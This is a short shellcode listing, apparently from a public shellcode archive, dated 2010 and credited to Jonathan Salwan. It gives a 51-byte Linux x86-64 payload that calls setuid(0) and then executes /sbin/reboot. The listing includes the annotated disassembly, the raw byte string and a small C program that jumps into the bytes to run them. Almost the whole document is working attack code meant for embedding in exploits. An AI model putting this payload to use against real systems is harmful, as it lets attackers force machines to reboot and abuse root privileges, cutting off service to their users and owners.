51 bytes small setuid(0) and reboot Linux / x86-64 shellcode.
1602d03f14b343e82fcfe012cb8800f8ea9321a5a783a20ae0f412b06b3545b0
/*
Title: Linux/x86-64 - setuid(0) & reboot - 51 bytes
Date: 2010-06-17
Tested: Archlinux x86_64 k2.6.33
Author: Jonathan Salwan
Web: http://shell-storm.org | http://twitter.com/shell_storm
! Dtabase of shellcodes http://www.shell-storm.org/shellcode/
400078: 48 31 ff xor %rdi,%rdi
40007b: b0 69 mov $0x69,%al
40007d: 0f 05 syscall
40007f: 48 31 d2 xor %rdx,%rdx
400082: 48 bb ff ff ff ff 62 mov $0x746f6f62ffffffff,%rbx
400089: 6f 6f 74
40008c: 48 c1 eb 20 shr $0x20,%rbx
400090: 53 push %rbx
400091: 48 bb 2f 73 62 69 6e mov $0x65722f6e6962732f,%rbx
400098: 2f 72 65
40009b: 53 push %rbx
40009c: 48 89 e7 mov %rsp,%rdi
40009f: 48 31 c0 xor %rax,%rax
4000a2: 50 push %rax
4000a3: 57 push %rdi
4000a4: 48 89 e6 mov %rsp,%rsi
4000a7: b0 3b mov $0x3b,%al
4000a9: 0f 05 syscall
*/
#include <stdio.h>
char *sc = "\x48\x31\xff\xb0\x69\x0f\x05\x48\x31"
"\xd2\x48\xbb\xff\xff\xff\xff\x62\x6f"
"\x6f\x74\x48\xc1\xeb\x20\x53\x48\xbb"
"\x2f\x73\x62\x69\x6e\x2f\x72\x65\x53"
"\x48\x89\xe7\x48\x31\xc0\x50\x57\x48"
"\x89\xe6\xb0\x3b\x0f\x05";
int main(void)
{
fprintf(stdout,"Length: %d\n",strlen(sc));
(*(void(*)()) sc)();
return 0;
}